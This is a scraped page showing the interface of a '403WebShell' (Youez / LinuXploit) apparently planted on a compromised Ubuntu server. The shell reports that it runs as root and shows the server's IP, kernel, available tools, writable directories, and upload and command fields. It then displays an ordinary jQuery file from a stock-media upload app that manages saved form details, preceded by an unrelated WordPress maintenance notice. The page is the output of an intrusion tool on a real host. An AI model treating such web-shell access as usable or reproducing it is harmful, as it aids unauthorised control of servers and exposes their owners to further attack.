WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/public/js/saved_details.js
var savedDetails = (function() {
    // =============================
    // Private methods and propeties
    // =============================
    details = {};

    // Constructor
    function Item(title, keywords,price,categories, releases, imageType,imageSubType, orientation, shootCode, people,resolution, release_percentage, videoType,licence_type=null ) {
        this.title = title;
        this.keywords = keywords;
        this.price = price;
        this.categories = categories;
        this.releases = releases;
        this.imageType = imageType;
        this.imageSubType = imageSubType;
        this.orientation = orientation;
        this.shootCode = shootCode;
        this.people = people;
        this.resolution = resolution;
        this.release_percentage = release_percentage;
        this.videoType = videoType
        this.licence_type = licence_type;
    }

    // Save details
    function saveDetails() {
        sessionStorage.setItem('saved_details', JSON.stringify(details));
    }

    // Load details
    function loadDetails() {
        details = JSON.parse(sessionStorage.getItem('saved_details'));
    }
    if (sessionStorage.getItem("saved_details") != null) {
        loadDetails();
    }


    // =============================
    // Public methods and propeties
    // =============================
    var obj = {};

    // Add to details
    obj.addToDetails = function() {
        console.log(window.toSubmitFiles);
        for (let image_pos in window.toSubmitFiles){
            let img = window.toSubmitFiles[image_pos];
            let imgObj = {};
            let title = $("[name='title']").val();
            let keywords = $("[name='keywords']").val();
            let price = $("[name='price']").val();
            let categories = $("[name='category']").val() ? $("[name='category']").val().join(",") : null;
            let releases = $("[name='releases']").val() ? $("[name='releases']").val().join(",") : null;
            let imageType = $("[name='image_type']").val();
            let imageSubType = $("[name='image_sub_type']").val();
            let orientation = $("[name='orientation']").val();
            let shootCode = $("[name='same_shoot_code']").val();
            let people = $("[name='no_of_people']").val();
            let resolution = $("[name='resolution']").val();
            let release_percentage = $("[name='release_percentage']").val();
            let videoType = $("[name='video_type']").val();
            let licenceType = null;
            if( $("[name='licence_type']").length > 0){
                licenceType = $("[name='licence_type']").val();
                //alert(licenceType)
            }

            let item = new Item(title,keywords,price,categories,releases,imageType,imageSubType,orientation,shootCode,people,resolution,release_percentage,videoType,licenceType);
            details[img] = item;
        }
        saveDetails();
        if(pendingFlag){
            for (let image_pos in window.pendingFiles){
                let img = window.pendingFiles[image_pos];
                let imgObj = {};
                let title = $(".edit_stock_sidebar").find("[name='title']").val();
                let keywords = $(".edit_stock_sidebar").find("[name='keywords']").val();
                let price = $(".edit_stock_sidebar").find("[name='price']").val();
                let categories = null;
                if( Array.isArray( $(".edit_stock_sidebar").find("[name='category']").val())){
                     categories = $(".edit_stock_sidebar").find("[name='category']").val().join(",");
                }else{
                    categories = $(".edit_stock_sidebar").find("[name='category']").val();
                }


               // let categories = $(".edit_stock_sidebar").find("[name='category']").val() ? Array.isArray($("[name='category']").val())?$("[name='category']").val().join(","):$("[name='category']").val() : null;
                let releases = $(".edit_stock_sidebar").find("[name='releases']").val() ? $("[name='releases']").val().join(",") : null;
                let imageType = $(".edit_stock_sidebar").find("[name='image_type']").val();
                let imageSubType = $(".edit_stock_sidebar").find("[name='image_sub_type']").val();
                let orientation = $(".edit_stock_sidebar").find("[name='orientation']").val();
                let shootCode = $(".edit_stock_sidebar").find("[name='same_shoot_code']").val();
                let people = $(".edit_stock_sidebar").find("[name='no_of_people']").val();
                let resolution = $(".edit_stock_sidebar").find("[name='resolution']").val();
                let release_percentage = $(".edit_stock_sidebar").find("[name='release_percentage']").val();
                let videoType = $(".edit_stock_sidebar").find("[name='video_type']").val();
                let licenceType = null;
                if( $(".edit_stock_sidebar").find("[name='licence_type']").length > 0){
                    licenceType = $(".edit_stock_sidebar").find("[name='licence_type']").val();
                }

                let item = new Item(title,keywords,price,categories,releases,imageType,imageSubType,orientation,shootCode,people,resolution,release_percentage,videoType,licenceType);
                details[img] = item;
            }
            saveDetails();
        }
    };
    return obj;
})();

// *****************************************
// Triggers / Events
// *****************************************

function clear(){
    sessionStorage.removeItem("saved_details");
}

checkSaved();

function checkSaved() {
    let selectedImages = window.toSubmitFiles;

    if (selectedImages.length > 0){
        $(".save_details").show();
    }else {
        $(".save_details").hide();
    }

    if (toSubmit){
        if (sessionStorage.getItem("saved_details") !==  null){
            if (selectedImages.length > 0 ){
                let savedDetails = JSON.parse(sessionStorage.getItem("saved_details"));
                if (selectedImages.length === 1){
                    let img = selectedImages[0];
                    if (img in savedDetails){
                        populateForm(savedDetails[img]);
                        console.log(savedDetails[img])
                    }else {
                        clearFields();
                    }
                }else {
                    let flag = true;
                    //compare
                    //first element to compare with
                    let checker = JSON.stringify(savedDetails[selectedImages[0]]);
                    for (let imgItem in selectedImages){
                        let img = selectedImages[imgItem]; // key

                        if (img in savedDetails){
                            let details = savedDetails[img];
                            let stringifiedDets = JSON.stringify(details);
                            flag = checker === stringifiedDets;
                            if (!flag){
                                break
                            }
                        }else {
                            //clearFields();
                            flag = false;
                            break;
                        }
                    }
                    if (flag){
                        populateForm(savedDetails[selectedImages[0]])
                    }else {
                        clearFields();
                    }
                }
            }else {
                clearFields()
            }
        }else {
            clearFields();
        }
    }else {
        setDetailsForUploaded();
    }

}

function setDetailsForUploaded() {
    let files = [];
    if (pendingFlag){
        files = pendingFiles;
    }else  if(approvedFlag){
        files = approvedFiles;
    }else if(rejectedFlag){
        files = rejectedFiles;
    }

    let count = files.length;
    let lastFile = files[count-1];

    if (files.length === 1){
        $(".edit_approved").show();
        $(".edit_approved").find("button").show();
        let url = $("#pending_upload").data("url");
        $.post(
            url,
            {
                file_name: files[0]
            },
            function (data, status) {
                let details = data.details;
                let savedDetails = JSON.parse(sessionStorage.getItem("saved_details"));
                let img = files[0];
                if(savedDetails!=null){
                    if (img in savedDetails){
                        let saved_data = savedDetails[img];
                        let videoType = details.videoType;

                        if (videoType === undefined){
                            //image
                            //hide the video type & duration
                            $("#details_video_type").parent("tr").hide();
                            $("#details_video_duration").parent("tr").hide();
                            $("#details_video_fps").parent("tr").hide();
                            $("#details_image_type").text(details.imageType);
                            $("#details_image_sub_type").text(details.imageSubType);
                        }else {
                            //video
                            //hide the image type
                            $("#details_image_type").parent("tr").hide();
                            $("#details_image_sub_type").parent("tr").hide();
                            $("#details_video_type").text(videoType);
                            $("#details_video_duration").text(details.duration+"s");
                            $("#details_video_fps").text(details.fps);
                        }
                        $("#details_licence_type").text(saved_data.licence_type?saved_data.licence_type:details.licenceType);
                        $("#details_id").text(details.id);
                        $("#details_sura_id").text(details.sura_id);
                        $("#details_title").text(saved_data.title?saved_data.title:details.title);
                        $("#details_keywords").text(saved_data.keywords?saved_data.keywords:details.keywords);
                        $("#details_price").text(saved_data.price?saved_data.price:details.price);
                        $("#details_orientation").text(saved_data.orientation?saved_data.orientation:details.orientation);
                        $("#details_shoot_code").text(saved_data.shootCode?saved_data.shootCode:details.shootCode);
                        $("#details_no_of_people").text(saved_data.people?saved_data.people:details.people);
                        $("#details_stock_type").text(details.type);
                        $("#details_categories").text(saved_data.categories?saved_data.categories:details.categories);
                        $("#details_releases").text(details.releases);
                        $("#details_reject_reason").text(details.reject_reason);
                        $("#details_releases_percentage").text(details.newPercentage.toString()+"%");
                        if (details.resolution){
                            $("#details_resolution").text(details.resolution);
                            $(".resolution_tr").show();
                        }else {
                            $(".resolution_tr").hide();
                        }
                    }else{
                        let videoType = details.videoType;

                        if (videoType === undefined){
                            //image
                            //hide the video type & duration
                            $("#details_video_type").parent("tr").hide();
                            $("#details_video_duration").parent("tr").hide();
                            $("#details_video_fps").parent("tr").hide();
                            $("#details_image_type").text(details.imageType);
                            $("#details_image_sub_type").text(details.imageSubType);
                        }else {
                            //video
                            //hide the image type
                            $("#details_image_type").parent("tr").hide();
                            $("#details_image_sub_type").parent("tr").hide();
                            $("#details_video_type").text(videoType);
                            $("#details_video_duration").text(details.duration+"s");
                            $("#details_video_fps").text(details.fps);
                        }
                        $("#details_licence_type").text(details.licenceType);
                        $("#details_id").text(details.id);
                        $("#details_sura_id").text(details.sura_id);
                        $("#details_title").text(details.title);
                        $("#details_keywords").text(details.keywords);
                        $("#details_price").text(details.price);
                        $("#details_orientation").text(details.orientation);
                        $("#details_shoot_code").text(details.shootCode);
                        $("#details_no_of_people").text(details.people);
                        $("#details_stock_type").text(details.type);
                        $("#details_categories").text(details.categories);
                        $("#details_releases").text(details.releases);
                        $("#details_reject_reason").text(details.reject_reason);
                        $("#details_releases_percentage").text(details.newPercentage.toString()+"%");
                        if (details.resolution){
                            $("#details_resolution").text(details.resolution);
                            $(".resolution_tr").show();
                        }else {
                            $(".resolution_tr").hide();
                        }
                    }
                }else{
                    let videoType = details.videoType;

                    if (videoType === undefined){
                        //image
                        //hide the video type & duration
                        $("#details_video_type").parent("tr").hide();
                        $("#details_video_duration").parent("tr").hide();
                        $("#details_video_fps").parent("tr").hide();
                        $("#details_image_type").text(details.imageType);
                        $("#details_image_sub_type").text(details.imageSubType);
                    }else {
                        //video
                        //hide the image type
                        $("#details_image_type").parent("tr").hide();
                        $("#details_image_sub_type").parent("tr").hide();
                        $("#details_video_type").text(videoType);
                        $("#details_video_duration").text(details.duration+"s");
                        $("#details_video_fps").text(details.fps);
                    }
                    $("#details_licence_type").text(details.licenceType);
                    $("#details_id").text(details.id);
                    $("#details_sura_id").text(details.sura_id);
                    $("#details_title").text(details.title);
                    $("#details_keywords").text(details.keywords);
                    $("#details_price").text(details.price);
                    $("#details_orientation").text(details.orientation);
                    $("#details_shoot_code").text(details.shootCode);
                    $("#details_no_of_people").text(details.people);
                    $("#details_stock_type").text(details.type);
                    $("#details_categories").text(details.categories);
                    $("#details_releases").text(details.releases);
                    $("#details_reject_reason").text(details.reject_reason);
                    $("#details_releases_percentage").text(details.newPercentage.toString()+"%");
                    if (details.resolution){
                        $("#details_resolution").text(details.resolution);
                        $(".resolution_tr").show();
                    }else {
                        $(".resolution_tr").hide();
                    }
                }




            }
        )
    }else {
        $(".edit_approved").hide();
        //clear
        $(".details_sidebar").find(".details").each(function () {
            $(this).text("")
        })
    }
}

function populateForm(details) {
    console.log(details);
    if ($("#approve_form").length !== 0) {
        if(null != details.categories){
            if(Array.isArray(details.categories)){
                categoriesElem.multipleSelect("setSelects", details.categories)
            }else{
                categoriesElem.multipleSelect("setSelects", details.categories.split(",") || [details.categories]);
            }


        }

    }
    else if ($(".stock_uploads_form").length > 0){
        if (details.categories){
            categoriesElem.multipleSelect("setSelects",details.categories.split(","));
        }
        if (details.releases){
            releasesElem.multipleSelect("setSelects",details.releases.split(","));
        }
    }
    else {
        categoriesElem.multipleSelect("setSelects",[details.categories]);
    }
    $(".upload_sidebar").find("[name='title']").val(details.title);
    $(".upload_sidebar").find("[name='price']").val(details.price);
    $(".upload_sidebar").find("[name='image_type']").val(details.imageType);
    $(".upload_sidebar").find("[name='image_sub_type']").val(details.imageSubType);
    $(".upload_sidebar").find("[name='orientation']").val(details.orientation);
    $(".upload_sidebar").find("[name='same_shoot_code']").val(details.shootCode);
    $(".upload_sidebar").find("[name='no_of_people']").val(details.people);
    $(".upload_sidebar").find("[name='resolution']").val(details.resolution);
    $(".upload_sidebar").find("[name='release_percentage']").val(details.release_percentage);
    $(".upload_sidebar").find("[name='video_type']").val(details.videoType);
    $(".upload_sidebar").find("[name='licence_type']").val(details.licence_type);
    populateKeywords(details.keywords);



}

function populateKeywords(keywords){
    if (keywords !== null && keywords !== ''){
        // removeKeywords();
        $(".tagsinput").children(".tag").each(function (index, element) {
            $(element).remove();
        });
        let keywordsArray = keywords.split(",");
        for (const keyword in keywordsArray){
            keywordsField.addTag(keywordsArray[keyword]);
        }
    }else {
        removeKeywords();
        setKeyWords();
    }
}

function removeKeywords() {
    $(".tagsinput").children(".tag").each(function (index, element) {
        // if ($("#approve_form").length === 0){
        $(".tagsinput").removeTag($(element).text());
        // }
    });
}

function clearFields() {

    releasesElem.multipleSelect("setSelects", []);
    categoriesElem.multipleSelect("setSelects", []);

    $(".tagsinput").children(".tag").each(function (index, element) {
        $(element).remove();
    });

    if ($('#upload_details').length !== 0){
        //images form
        $('#upload_details').find('.details').each(function () {
            if ($(this).attr('name') !== "releases" && $(this).attr('name') !== "category"){
                $(this).val("");
            }
        });
        setKeyWords();
    }else if ($("#upload_details_videos").length !== 0){
        //videos
        $('#upload_details_videos').find('.details').each(function () {
            if ($(this).attr('name') !== "releases" && $(this).attr('name') !== "category"){
                $(this).val("");
            }
        });
        setKeyWords();
    }else if ($("#approve_form").length !== 0){
        $('#approve_form').find('.details').each(function () {
            if ($(this).attr('name') !== "releases" && $(this).attr('name') !== "category"){
                $(this).val("");
            }
        });
    }
}


$(".edit_approved").find("button").click(function (e) {

    $(".details_sidebar").hide();
    getEditFormData();
    $(".edit_stock_sidebar").show();

});

function getEditFormData(){
    let url = $("#edit_form_button").data("url");
    let id = Number($("#details_id").html());

    if(toSubmit){
        return;
    }

    let editFormFiles = [];
    if (pendingFlag){

        editFormFiles = pendingFiles;
    }else  if(approvedFlag){

        editFormFiles = approvedFiles;
    }else if(rejectedFlag){

        editFormFiles = rejectedFiles;
    }

    if (id === 0 && editFormFiles.length > 0){
        $(".edit_stock_sidebar").hide();
        $(".details_sidebar").show();
        return;
    }

    //alert(editFormFiles.length)

    if (editFormFiles.length === 1 && $(".edit_stock_sidebar").length > 0){
        $.post(
            url,
            { stock_id : id },
            function (data, status) {

                //check if in saved data
                let savedDetails = JSON.parse(sessionStorage.getItem("saved_details"));
                let img = editFormFiles[0];
                if(savedDetails != null){
                    if (img in savedDetails){
                        let saved_data = savedDetails[img];
                        $(".edit_stock_sidebar").find("[name='image_type']").val(saved_data.imageType?saved_data.imageType:data.details.imageType);
                        $(".edit_stock_sidebar").find("[name='same_shoot_code']").val(saved_data.shootCode?saved_data.shootCode:data.details.shootCode);
                        if(data.details.imageSubType){
                            // $("[name='image_sub_type']").val(data.details.imageSubType.toLowerCase());
                            $(".edit_stock_sidebar").find("[name='image_sub_type']").val(saved_data.imageSubType?saved_data.imageSubType.toLowerCase():data.details.imageSubType.toLowerCase());
                            $(".edit_stock_sidebar").find("[name='orientation']").val(saved_data.orientation?saved_data.orientation.toLowerCase():data.details.orientation.toLowerCase());
                            // $("[name='orientation']").val(data.details.orientation.toLowerCase());
                        }

                        const details = data.details;
                        console.log(details.licence);
                        // console.log()
                        $(".edit_stock_sidebar").find("[name='title']").val(saved_data.title?saved_data.title:details.title);
                        $(".edit_stock_sidebar").find("#edit_stock_id").val(id);
                        $(".edit_stock_sidebar").find("[name='price']").val(saved_data.price?saved_data.price:details.price);
                       // $(".edit_stock_sidebar").find("[name='same_shoot_code']").val(details.shootCode);
                        $(".edit_stock_sidebar").find("[name='no_of_people']").val(saved_data.people?saved_data.people:details.people);
                        $(".edit_stock_sidebar").find("[name='release_percentage']").val(details.newPercentage);
                        if($(".edit_stock_sidebar").find("[name='licence_type']").length > 0){
                            $(".edit_stock_sidebar").find(".save_details").show();
                        }
                        $(".edit_stock_sidebar").find("[name='licence_type']").val(saved_data.licence_type?saved_data.licence_type:details.licence);

                        categoriesElementEdit.multipleSelect("setSelects", saved_data.categories?saved_data.categories.split(","):[]);
                        releasesElementEdit.multipleSelect("setSelects", details.stockRelIds);

                        $(".edit_stock_sidebar").find("[name='resolution']").val(saved_data.resolution?saved_data.resolution:details.resolution);

                        const keywords = saved_data.keywords?saved_data.keywords:data.details.keywords

                        removeTagsFromEdit();
                        keywordsFieldEdit.importTags('');

                        if (keywords !== null && keywords !== ''){

                            let keywordsArray = keywords.split(",");
                            for (const keyword in keywordsArray){
                                keywordsFieldEdit.addTag(keywordsArray[keyword]);
                            }
                        }
                    }else {
                        $(".edit_stock_sidebar").find("[name='image_type']").val(data.details.imageType);
                        if(data.details.imageSubType){
                            // $("[name='image_sub_type']").val(data.details.imageSubType.toLowerCase());
                            $(".edit_stock_sidebar").find("[name='image_sub_type']").val(data.details.imageSubType.toLowerCase());
                            $(".edit_stock_sidebar").find("[name='orientation']").val(data.details.orientation.toLowerCase());
                            // $("[name='orientation']").val(data.details.orientation.toLowerCase());
                        }



                        const details = data.details;
                        console.log(details.licence);
                        // console.log()
                        $(".edit_stock_sidebar").find("[name='title']").val(details.title);
                        $(".edit_stock_sidebar").find("[name='title']").val(details.title);
                        $(".edit_stock_sidebar").find("#edit_stock_id").val(id);
                        $(".edit_stock_sidebar").find("[name='price']").val(details.price);
                        $(".edit_stock_sidebar").find("[name='same_shoot_code']").val(details.shootCode);
                        $(".edit_stock_sidebar").find("[name='no_of_people']").val(details.people);
                        $(".edit_stock_sidebar").find("[name='release_percentage']").val(details.newPercentage);
                        if($(".edit_stock_sidebar").find("[name='licence_type']").length > 0){
                            $(".edit_stock_sidebar").find(".save_details").show();
                        }
                        $(".edit_stock_sidebar").find("[name='licence_type']").val(details.licence);

                        categoriesElementEdit.multipleSelect("setSelects", details.categoryIds);
                        releasesElementEdit.multipleSelect("setSelects", details.stockRelIds);

                        $(".edit_stock_sidebar").find("[name='resolution']").val(details.resolution);
                        $(".edit_stock_sidebar").find("[name='same_shoot_code']").val(details.shootCode);

                        const keywords = data.details.keywords

                        removeTagsFromEdit();
                        keywordsFieldEdit.importTags('');

                        if (keywords !== null && keywords !== ''){

                            let keywordsArray = keywords.split(",");
                            for (const keyword in keywordsArray){
                                keywordsFieldEdit.addTag(keywordsArray[keyword]);
                            }
                        }
                    }
                }else{
                    $(".edit_stock_sidebar").find("[name='image_type']").val(data.details.imageType);
                    if(data.details.imageSubType){
                        // $("[name='image_sub_type']").val(data.details.imageSubType.toLowerCase());
                        $(".edit_stock_sidebar").find("[name='image_sub_type']").val(data.details.imageSubType.toLowerCase());
                        $(".edit_stock_sidebar").find("[name='orientation']").val(data.details.orientation.toLowerCase());
                        // $("[name='orientation']").val(data.details.orientation.toLowerCase());
                    }



                    const details = data.details;
                    console.log(details.licence);
                    // console.log()
                    $(".edit_stock_sidebar").find("[name='title']").val(details.title);
                    $(".edit_stock_sidebar").find("[name='title']").val(details.title);
                    $(".edit_stock_sidebar").find("#edit_stock_id").val(id);
                    $(".edit_stock_sidebar").find("[name='price']").val(details.price);
                    $(".edit_stock_sidebar").find("[name='same_shoot_code']").val(details.shootCode);
                    $(".edit_stock_sidebar").find("[name='no_of_people']").val(details.people);
                    $(".edit_stock_sidebar").find("[name='release_percentage']").val(details.newPercentage);
                    if($(".edit_stock_sidebar").find("[name='licence_type']").length > 0){
                        $(".edit_stock_sidebar").find(".save_details").show();
                    }
                    $(".edit_stock_sidebar").find("[name='licence_type']").val(details.licence);

                    categoriesElementEdit.multipleSelect("setSelects", details.categoryIds);
                    releasesElementEdit.multipleSelect("setSelects", details.stockRelIds);

                    $(".edit_stock_sidebar").find("[name='resolution']").val(details.resolution);

                    const keywords = data.details.keywords

                    removeTagsFromEdit();

                    keywordsFieldEdit.importTags('');

                    if (keywords !== null && keywords !== ''){

                        let keywordsArray = keywords.split(",");
                        for (const keyword in keywordsArray){
                            keywordsFieldEdit.addTag(keywordsArray[keyword]);
                        }
                    }

                }


            }
        );
    }
    if(editFormFiles.length === 0){
        $(".edit_stock_sidebar").hide();
        $(".details_sidebar").show();
    }
}

$(".edit_stock_sidebar #same-shoot-btn").click(function (e) {
    e.preventDefault();

    let arr = [];
    while (arr.length < 5) {
        let r = Math.floor(Math.random() * 100) + 1;
        if (arr.indexOf(r) === -1) arr.push(r);
    }
    let code = arr.join("");
    $('.edit_stock_sidebar [name="same_shoot_code"]').val(code)
});

//triggers
$(".save_details").click(function () {
    savedDetails.addToDetails();
    $(".saved_details_alert").text("Details saved successfully").show().delay(2000).fadeOut(1000);
});


$("#pending_upload_link, #approved_upload_link, #rejected_upload_link").click(function (e) {
    /*pending_approval = true;
    editForm=true;
    toSubmit = false;*/
    $(".reject_reason_tr").hide();
    //$(this).find("tbody tr:last-child").css("color", "red");
    $(".upload_sidebar").css("display", "none");
    $(".details_sidebar").css("display", "block");
    $(".edit_stock_sidebar").hide();
    // $(".edit_stock_sidebar").is(':visible')
});

$("#pending_upload_link").click(function () {
    let selectAllFlag = false;
    if ($("#approve_form").length === 0){
        if ($("#select_all").prop("checked") && !pendingFlag) {
            $("#select_all").prop("checked", false);
        }
        if ($("#pending_upload").find(".selectable-image").each(function () {
            const image_item = $(this).parent("div");
            if (!$(image_item).hasClass("selected")){
                selectAllFlag = false;
                return false;
            }else {
                selectAllFlag = true;
            }
        }));
    }else {
        //admin
        if ($("#select_all").prop("checked") && !pendingFlag) {
            $("#select_all").prop("checked", false);
        }
        if ($("#reviewed").find(".selectable-image").each(function () {
            const image_item = $(this).parent("div");
            if (!$(image_item).hasClass("selected")){
                selectAllFlag = false;
                return false;
            }else {
                selectAllFlag = true;
            }
        }));
    }

    if (selectAllFlag) $("#select_all").prop("checked", true);

    approvedFlag = false;
    toSubmit = false;
    rejectedFlag = false;
    pendingFlag = true;
    setDetailsForUploaded();
    $(".reject_reason_tr").hide();
});

$("#approved_upload_link").click(function () {
    if ($("#select_all").prop("checked") && !approvedFlag) {
        $("#select_all").prop("checked", false);
    }
    let selectAllFlag = false;
    if ($("#reviewed").find(".selectable-image").each(function () {
        const image_item = $(this).parent("div");
        if (!$(image_item).hasClass("selected")){
            selectAllFlag = false;
            return false;
        }else {
            selectAllFlag = true;
        }
    }));
    if (selectAllFlag) $("#select_all").prop("checked", true);

    approvedFlag = true;
    toSubmit = false;
    rejectedFlag = false;
    pendingFlag = false;
    setDetailsForUploaded();
    $(".reject_reason_tr").hide();
});

$("#rejected_upload_link").click(function () {
    console.log(window.rejectedFiles)
    if ($("#select_all").prop("checked") && !rejectedFlag) {
        $("#select_all").prop("checked", false);
    }
    let selectAllFlag = false;
    if ($("#rejected").find(".selectable-image").each(function () {
        const image_item = $(this).parent("div");
        if (!$(image_item).hasClass("selected")){
            selectAllFlag = false;
            return false;
        }else {
            selectAllFlag = true;
        }
    }));
    if (selectAllFlag) $("#select_all").prop("checked", true);

    approvedFlag = false;
    toSubmit = false;
    rejectedFlag = true;
    pendingFlag = false;
    setDetailsForUploaded();
    $(".reject_reason_tr").show();

});

$("#to_submit_upload_link").on("click", function (e) {
    /*pending_approval = false;
    editForm=false;
    toSubmit = true;*/
    let selectAllFlag = false;
    if ($("#select_all").prop("checked") && !toSubmit) {
        $("#select_all").prop("checked", false);
    }
    if ($("#approve_form").length === 0){
        if ($("#to_submit").find(".selectable-image").each(function () {
            const image_item = $(this).parent("div");
            if (!$(image_item).hasClass("selected")){
                selectAllFlag = false;
                return false;
            }else {
                selectAllFlag = true;
            }
        }));
    }else {
        //admin
        if ($("#pending_upload").find(".selectable-image").each(function () {
            const image_item = $(this).parent("div");
            if (!$(image_item).hasClass("selected")){
                selectAllFlag = false;
                return false;
            }else {
                selectAllFlag = true;
            }
        }));
    }

    if (selectAllFlag) $("#select_all").prop("checked", true);

    approvedFlag = false;
    toSubmit = true;
    rejectedFlag = false;
    pendingFlag = false;
    setDetailsForUploaded();
    $(".upload_sidebar").css("display", "block");
    $(".details_sidebar").css("display", "none");
    $(".edit_stock_sidebar").hide();
});

/*
$("#rejected_upload_link").click(function (e) {
    $(".reject_reason_tr").show();
})*/

Youez - 2016 - github.com/yon3zu
LinuXploit